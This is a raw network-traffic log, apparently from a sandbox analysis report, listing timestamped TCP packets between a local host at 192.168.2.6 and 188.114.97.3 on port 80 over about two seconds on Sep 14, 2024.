Sep 14, 2024 18:44:11.882968903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.882986069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.883066893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.884591103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884644032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884680986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884695053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.884732008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884763002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884795904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884809971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.884829044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884841919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.884860992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.884978056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.885154963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885190010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885240078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.885241032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885277033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885327101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885333061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.885363102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885396004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885431051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.885438919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.885474920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.926605940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.926641941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.926680088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.926785946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.927052975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.927112103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.927181005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.927215099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.927294970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.927351952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.927402020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.927551031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.929023027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929321051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929373026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.929459095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929641962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929692030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.929784060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929816961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.929867029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.929938078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.930083036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.930133104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931111097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931138039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931169987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931221008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931281090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931313992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931339979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931345940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931380987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931416988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931421041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931472063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931479931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931504965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931540012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931586981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931596041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931643963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931679964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931694031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931730032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931740999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931761980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931811094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931843996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931859016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931880951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931915045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931925058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931948900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.931962967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.931981087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932013035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932030916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932048082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932080984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932095051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932112932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932145119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932179928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932192087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932225943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932272911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932274103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932306051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932322979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932342052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932374954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932420969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932425022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932456017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932487011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932504892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932523012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932554960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932569027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932586908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932602882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932621956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932658911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932691097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932704926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932723045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932754993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932766914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932786942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932797909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932822943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932856083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932867050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932888985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932919979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932933092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.932952881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.932985067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933017015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933027029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933049917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933084011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933099031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933119059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933131933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933155060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933186054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933206081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933222055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933258057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933290005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933301926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933320999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933358908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933368921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933392048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933427095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933440924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933459044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933470011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933495045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933530092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933536053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933562040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933593988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933607101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933625937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933653116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933685064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933698893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933717012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933749914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933762074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933783054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933793068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933816910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933849096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933867931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.933881998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.933995008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.000649929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000751019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000785112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000822067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000842094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.000854015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000907898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000941992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.000961065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.000993967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001004934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001023054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001044035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001072884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001106024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001120090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001133919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001167059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001178980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001298904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001332045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001358986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001364946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001396894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001409054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001430035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001480103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001498938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001514912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001564026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001570940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001605034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001637936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001660109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001669884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001698971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001720905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001729012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001763105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001790047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001795053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001815081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001830101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001862049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001884937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001895905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001929045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.001948118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.001977921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002010107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002028942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002043009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002075911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002089024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002114058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002146006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002167940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002178907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002213001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002234936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002245903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002279043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002298117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002311945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002346039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002361059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002376080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002407074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002427101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002440929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002474070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002496958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002506971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002538919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002561092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002572060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002605915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002619982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002640009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002671957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002685070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002707958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002741098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002756119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002774000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002805948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002820015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002856970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002890110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002916098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002922058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002954006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.002970934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.002988100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003021002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003045082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003053904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003087044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003098011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003120899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003155947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003174067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003187895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003222942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003238916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003256083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003288031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003299952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003320932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003353119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003360987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003403902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003453016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003555059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003592014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003624916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003644943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003657103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003709078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003710032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003758907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003792048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003813028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003827095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003859997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003876925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003894091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003926992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003947973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.003959894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.003993034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004015923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004045963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004079103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004097939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004112005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004144907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004160881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004179001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004211903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004225016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004245996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004278898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004295111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004312038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004343033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004359007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004376888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004407883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004434109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004440069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004472017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004492998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004506111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004538059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004561901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004570007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004602909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004617929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004636049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004668951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004687071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004703045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004734993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004749060 CEST	49722	80	192.168.2.6	188.114.97.3
